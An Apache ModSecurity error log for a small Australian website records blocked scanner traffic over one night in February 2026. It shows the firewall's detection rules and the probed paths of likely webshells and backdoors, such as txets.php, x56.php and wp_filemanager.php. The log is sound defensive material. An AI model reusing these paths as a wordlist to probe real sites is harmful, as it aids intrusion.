[Thu Feb 26 20:28:48.892228 2026] [:error] [pid 25311:tid 25320] [client 43.157.170.126:37338] [client 43.157.170.126] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaA8gNfdM__yZAgJFSvRvAAAAYY"]
[Thu Feb 26 20:34:42.211220 2026] [:error] [pid 44444:tid 44465] [client 43.140.247.223:47140] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaA94m2sMNmj-yekUk0H4gAAAg8"]
[Thu Feb 26 22:01:08.785983 2026] [:error] [pid 54991:tid 55028] [client 157.245.196.99:62465] [client 157.245.196.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/profile-builder/readme.txt"] [unique_id "aaBSJN4Zx-mJ8gbRB2j1cAAAAEg"]
[Thu Feb 26 22:15:18.087670 2026] [:error] [pid 55618:tid 55629] [client 2.58.56.91:58498] [client 2.58.56.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/txets.php"] [unique_id "aaBVdh61Vrh12f_8oWQSrAAAAQg"]
[Thu Feb 26 22:15:18.587538 2026] [:error] [pid 55618:tid 55622] [client 2.58.56.91:59121] [client 2.58.56.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "aaBVdh61Vrh12f_8oWQSrgAAAQE"]
[Thu Feb 26 22:15:19.097347 2026] [:error] [pid 55618:tid 55639] [client 2.58.56.91:59819] [client 2.58.56.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "aaBVdx61Vrh12f_8oWQSsAAAARI"]
[Thu Feb 26 22:15:20.146516 2026] [:error] [pid 44444:tid 44465] [client 2.58.56.91:60946] [client 2.58.56.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/txets.php"] [unique_id "aaBVeG2sMNmj-yekUk1F8AAAAg8"]
[Thu Feb 26 23:33:37.119322 2026] [:error] [pid 20419:tid 20426] [client 20.48.148.227:31626] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaBn0e3DVDvMfTYYUBV7CQAAAcQ"]
[Thu Feb 26 23:33:37.970832 2026] [:error] [pid 55051:tid 55072] [client 20.48.148.227:31739] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaBn0QmK1w2kZvh5eLHyKAAAAJI"]
[Thu Feb 26 23:33:38.653292 2026] [:error] [pid 55051:tid 55065] [client 20.48.148.227:31633] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaBn0gmK1w2kZvh5eLHyKgAAAIs"]
[Thu Feb 26 23:33:40.189714 2026] [:error] [pid 55051:tid 55073] [client 20.48.148.227:31666] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaBn1AmK1w2kZvh5eLHyLQAAAJM"]
[Fri Feb 27 00:37:59.321271 2026] [:error] [pid 19020:tid 19026] [client 43.153.123.4:55654] [client 43.153.123.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aaB257N3kp7wL6QzPnUC0QAAAUQ"]
[Fri Feb 27 00:44:49.796269 2026] [:error] [pid 20059:tid 20116] [client 51.68.233.44:57662] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aaB4gZZBS5wIa_NsqsjeVQAAAc4"]
[Fri Feb 27 00:44:52.441772 2026] [:error] [pid 18831:tid 18932] [client 51.68.233.44:33552] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aaB4hP5KHTHUIuWRG2a5pgAAAFM"]
[Fri Feb 27 00:44:54.879561 2026] [:error] [pid 18831:tid 18925] [client 51.68.233.44:33568] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aaB4hv5KHTHUIuWRG2a5rgAAAEw"]
[Fri Feb 27 00:44:57.374966 2026] [:error] [pid 18831:tid 18921] [client 51.68.233.44:33578] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aaB4if5KHTHUIuWRG2a5swAAAEg"]
[Fri Feb 27 00:44:59.930273 2026] [:error] [pid 18818:tid 18885] [client 51.68.233.44:47330] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aaB4ixhPgqk2SeS_W820ogAAAAE"]
[Fri Feb 27 00:45:02.406640 2026] [:error] [pid 18818:tid 18893] [client 51.68.233.44:47338] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aaB4jhhPgqk2SeS_W820owAAAAk"]
[Fri Feb 27 01:44:24.629468 2026] [:error] [pid 20059:tid 20112] [client 49.51.183.75:56918] [client 49.51.183.75] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaCGeJZBS5wIa_NsqsgQhwAAAco"]
[Fri Feb 27 01:58:30.688643 2026] [:error] [pid 19020:tid 19031] [client 194.32.120.99:29957] [client 194.32.120.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.32.120.99, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aaCJxrN3kp7wL6QzPnUvVQAAAUk"]
[Fri Feb 27 02:11:51.810257 2026] [:error] [pid 20059:tid 20105] [client 20.104.124.39:45170] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "aaCM55ZBS5wIa_NsqsgpOgAAAcM"]
[Fri Feb 27 02:11:53.675483 2026] [:error] [pid 18843:tid 18949] [client 20.104.124.39:45075] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "aaCM6SuD2bhSYSowPs0M8QAAAQk"]
[Fri Feb 27 02:11:54.619106 2026] [:error] [pid 20059:tid 20112] [client 20.104.124.39:45133] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "aaCM6pZBS5wIa_NsqsgpPAAAAco"]
[Fri Feb 27 02:11:55.666208 2026] [:error] [pid 19020:tid 19037] [client 20.104.124.39:45157] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "aaCM67N3kp7wL6QzPnU40AAAAU8"]
[Fri Feb 27 02:11:56.690813 2026] [:error] [pid 20059:tid 20114] [client 20.104.124.39:45061] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xv.php"] [unique_id "aaCM7JZBS5wIa_NsqsgpPwAAAcw"]
[Fri Feb 27 02:11:57.842245 2026] [:error] [pid 18843:tid 18956] [client 20.104.124.39:45144] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xv.php"] [unique_id "aaCM7SuD2bhSYSowPs0M-AAAARA"]
[Fri Feb 27 02:11:59.387623 2026] [:error] [pid 18843:tid 18961] [client 20.104.124.39:45155] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xv.php"] [unique_id "aaCM7yuD2bhSYSowPs0M-wAAARU"]
[Fri Feb 27 02:12:00.046160 2026] [:error] [pid 18843:tid 18941] [client 20.104.124.39:45177] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xv.php"] [unique_id "aaCM8CuD2bhSYSowPs0M_wAAAQE"]
[Fri Feb 27 02:12:00.799276 2026] [:error] [pid 20059:tid 20107] [client 20.104.124.39:45172] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "aaCM8JZBS5wIa_NsqsgpRgAAAcU"]
[Fri Feb 27 02:12:01.437693 2026] [:error] [pid 19020:tid 19033] [client 20.104.124.39:45062] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "aaCM8bN3kp7wL6QzPnU44gAAAUs"]
[Fri Feb 27 02:12:02.701457 2026] [:error] [pid 19020:tid 19023] [client 20.104.124.39:45141] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "aaCM8rN3kp7wL6QzPnU46wAAAUE"]
[Fri Feb 27 02:12:03.627316 2026] [:error] [pid 18818:tid 18906] [client 20.104.124.39:45068] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "aaCM8xhPgqk2SeS_W83L7QAAABY"]
[Fri Feb 27 02:12:04.623683 2026] [:error] [pid 18818:tid 18900] [client 20.104.124.39:45064] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aaCM9BhPgqk2SeS_W83L8AAAABA"]
[Fri Feb 27 02:12:05.720179 2026] [:error] [pid 19020:tid 19038] [client 20.104.124.39:45084] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aaCM9bN3kp7wL6QzPnU47wAAAVA"]
[Fri Feb 27 02:12:06.312346 2026] [:error] [pid 18831:tid 18926] [client 20.104.124.39:44994] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aaCM9v5KHTHUIuWRG2bWIgAAAE0"]
[Fri Feb 27 02:12:06.903471 2026] [:error] [pid 18843:tid 18964] [client 20.104.124.39:45138] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aaCM9iuD2bhSYSowPs0NAwAAARg"]
[Fri Feb 27 02:12:07.528308 2026] [:error] [pid 18843:tid 18944] [client 20.104.124.39:45180] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aaCM9yuD2bhSYSowPs0NBgAAAQQ"]
[Fri Feb 27 02:12:08.290770 2026] [:error] [pid 18818:tid 18890] [client 20.104.124.39:45140] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aaCM-BhPgqk2SeS_W83L-QAAAAY"]
[Fri Feb 27 02:12:09.199062 2026] [:error] [pid 19020:tid 19030] [client 20.104.124.39:45150] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aaCM-bN3kp7wL6QzPnU48gAAAUg"]
[Fri Feb 27 02:12:10.176286 2026] [:error] [pid 19020:tid 19036] [client 20.104.124.39:45060] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aaCM-rN3kp7wL6QzPnU4-QAAAU4"]
[Fri Feb 27 02:12:11.333963 2026] [:error] [pid 19020:tid 19030] [client 20.104.124.39:45137] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "aaCM-7N3kp7wL6QzPnU5AgAAAUg"]
[Fri Feb 27 02:12:12.388051 2026] [:error] [pid 20059:tid 20111] [client 20.104.124.39:45178] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "aaCM_JZBS5wIa_NsqsgpVAAAAck"]
[Fri Feb 27 02:12:13.132113 2026] [:error] [pid 20059:tid 20110] [client 20.104.124.39:45099] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "aaCM_ZZBS5wIa_NsqsgpWgAAAcg"]
[Fri Feb 27 02:12:14.354100 2026] [:error] [pid 18831:tid 18927] [client 20.104.124.39:45154] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "aaCM_v5KHTHUIuWRG2bWNAAAAE4"]
[Fri Feb 27 02:12:15.595542 2026] [:error] [pid 18831:tid 18920] [client 20.104.124.39:45125] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "aaCM__5KHTHUIuWRG2bWOAAAAEc"]
[Fri Feb 27 02:12:17.309631 2026] [:error] [pid 20059:tid 20106] [client 20.104.124.39:45183] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "aaCNAZZBS5wIa_NsqsgpbQAAAcQ"]
[Fri Feb 27 02:12:18.295049 2026] [:error] [pid 18843:tid 18950] [client 20.104.124.39:45169] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "aaCNAiuD2bhSYSowPs0NEgAAAQo"]
[Fri Feb 27 02:12:19.710290 2026] [:error] [pid 20059:tid 20122] [client 20.104.124.39:45070] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "aaCNA5ZBS5wIa_NsqsgpdAAAAdQ"]
[Fri Feb 27 02:12:20.721532 2026] [:error] [pid 19020:tid 19038] [client 20.104.124.39:45071] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aaCNBLN3kp7wL6QzPnU5FwAAAVA"]
[Fri Feb 27 02:12:22.691439 2026] [:error] [pid 20059:tid 20117] [client 20.104.124.39:45162] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aaCNBpZBS5wIa_NsqsgpdgAAAc8"]
[Fri Feb 27 02:12:24.491283 2026] [:error] [pid 20059:tid 20123] [client 20.104.124.39:45097] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aaCNCJZBS5wIa_NsqsgpeAAAAdU"]
[Fri Feb 27 02:12:26.031650 2026] [:error] [pid 18843:tid 18948] [client 20.104.124.39:45057] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aaCNCiuD2bhSYSowPs0NJgAAAQg"]
[Fri Feb 27 02:12:27.339294 2026] [:error] [pid 20059:tid 20109] [client 20.104.124.39:45121] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aaCNC5ZBS5wIa_NsqsgpgAAAAcc"]
